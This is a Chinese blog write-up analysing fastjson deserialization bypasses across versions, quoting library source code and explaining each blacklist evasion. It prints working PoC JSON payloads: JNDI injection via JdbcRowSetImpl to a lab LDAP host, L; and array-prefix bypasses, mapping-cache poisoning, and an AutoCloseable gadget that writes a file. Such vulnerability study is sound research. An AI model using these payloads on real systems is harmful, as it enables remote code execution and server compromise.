fastjson漏洞复现

关于fastjson漏洞复现的一些思考

前言

这周因为准备蚂蚁非攻实验室的缘故,临时抱了下fastjson的佛脚,发现其实fastjson这个洞的绕过思路十分有意思,在这里详细记录下自己分析的思路。

环境

  1. jdk8,jdk11
  2. fastjson 1.2.22,1.2.43,1.2.47,1.2.68
  3. osx 14.6 idea调试环境

fastjson反序列化机制简介

  • autoType机制,简单地来说就是存在任意类反序列化的机制,即**@Type标签,遇到@Type标签,调用TypeUtils.loadClass**来加载任意类。

    image-20210328102548548

  • 因为使用newInstance方法实例化类,所以要求被实例化的类有默认构造器。

  • 遇到属性名xxx调用,setXxx方法来设置对应属性的值。

几个大版本的绕过思路

  1. 版本小于1.2.24时

    1
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.211.55.2:8000/Test","autoCommit":true}

    这个思路不难理解,就是普通的针对com.sun.rowset.JdbcRowSetImpl的jndi注入利用,即利用JdbcRowSetImplsetAautoCommit方法实现jndi注入。

  2. 版本小于1.2.41时,针对处理逻辑的缺陷绕过

    先跑下原来的poc

    发现在代码层面使用checkAutoType方法来进行检测,默认关闭AutoType的同时,使用黑名单的手段来检测恶意类。

    image-20210328105602446

    因为在jvm中class可以表示为Lcom.xxx.xxx;**的形式,而在TypeUtils.loadClass中,处理了L;**

    1
    2
    3
    4
    5
    6
    7
    8
    if(className.charAt(0) == '['){
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
    }
    if(className.startsWith("L") && className.endsWith(";")){
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
    }

    在class值前加两个特殊符号即可。

  3. 版本等于1.2.42和等于1.2.43时的情况,再次针对处理逻辑漏洞的绕过。

    使用黑名单加hash来提高分析的难度

    另外一块是在检测黑名单前,做了一次数据的清洗。

    1
    2
    3
    4
    5
    6
    7
    8
    if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
    {
    className = className.substring(1, className.length() - 1);
    }

    那么绕过的思路就是双写L和**;**

    该版本的poc

    1
    {"rand":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://10.211.55.2:8000/Test","autoCommit":true}}";

    在1.2.43版本中增加了对这种绕过方式的过滤,该版本的绕过利用了fastjson针对数组的解析,同样也是利用了TypeUtilsloadClass方法的缺陷。

    1
    {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://10.211.55.2:8000/Test","autoCommit":true}
  4. 版本小于1.2.47时,存在利用mapping的绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    //针对L;和双写L;的清洗

    final long h3 = ahashnum;

    if (autoTypeSupport || expectClass != null) {
    long hash = h3;
    for (int i = 3; i < className.length(); ++i) {
    hash ^= className.charAt(i);
    hash *= PRIME;
    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
    if (clazz != null) {
    return clazz;
    }
    }
    if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
    throw new JSONException("autoType is not support. " + typeName);
    }
    }
    }

    if (clazz == null) {
    clazz = TypeUtils.getClassFromMapping(typeName);
    }

    if (clazz == null) {
    clazz = deserializers.findClass(typeName);
    }

    if (clazz != null) {
    if (expectClass != null
    && clazz != java.util.HashMap.class
    && !expectClass.isAssignableFrom(clazz)) {
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }

    return clazz;
    }

    //暂时用不到

    由于默认关闭autoType直接跳过白黑名单校验,会直接从Mapping中加载class。

    TypeUtils里面,当cache为true时,将加载到的class放入mapping中,由于这里cache默认为true所以,可以先将恶意类加载到Mapping中再实例化的方式来绕过黑名单。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
    if(className == null || className.length() == 0){
    return null;
    }
    Class<?> clazz = mappings.get(className);
    if(clazz != null){
    return clazz;
    }
    if(className.charAt(0) == '['){
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
    }
    if(className.startsWith("L") && className.endsWith(";")){
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
    }
    try{
    if(classLoader != null){
    clazz = classLoader.loadClass(className);
    if (cache) {
    mappings.put(className, clazz);
    }
    return clazz;
    }
    } catch(Throwable e){
    e.printStackTrace();
    // skip
    }
    try{
    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
    if(contextClassLoader != null && contextClassLoader != classLoader){
    clazz = contextClassLoader.loadClass(className);
    if (cache) {
    mappings.put(className, clazz);
    }
    return clazz;
    }
    } catch(Throwable e){
    // skip
    }
    try{
    clazz = Class.forName(className);
    mappings.put(className, clazz);
    return clazz;
    } catch(Throwable e){
    // skip
    }
    return clazz;
    }

    poc:

    1
    {"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://10.211.55.2:8000/Test", "autoCommit": true}}"
  5. 1.2.68以前,利用继承机制无视禁用,这里环境需要在jdk11下才可以实现利用。

    主要的问题在parseConfig.java中,当clazzexpectClass的实现的时候,那么就会把clazz加入mapping

    1
    2
    3
    4
    5
    6
    7
    8
    if (expectClass != null) {
    if (expectClass.isAssignableFrom(clazz)) {
    TypeUtils.addMapping(typeName, clazz);
    return clazz;
    } else {
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }
    }

    验证性质poc(这个poc后续的细节下篇文章再继续分析)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    {
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
    "@type": "java.util.zip.InflaterOutputStream",
    "out": {
    "@type": "java.io.FileOutputStream",
    "file": "/tmp/asdasd",
    "append": true
    },
    "infl": {
    "input": {
    "array": "eJxLLE5JTCkGAAh5AnE=",
    "limit": 14
    }
    },
    "bufLen": "100"
    },
    "protocolVersion": 1
    }

    值得一提的是,如果1.2.68版本以后开启safeMode之后将完全禁用autoType这个特性。

总结

这篇文章以jndi注入的poc为例,展示了一些fastjson安全机制的演进,从利用解析逻辑绕过黑名单,利用缓存机制加载恶意类,最终的通过派生类绕过checkAutoType,不得不说能够从前人的工作中获得不少启示。下篇文章打算分析下上文的poc和另外的一些gadata Chain。

Ref

poc和思路的来源

参考过的paper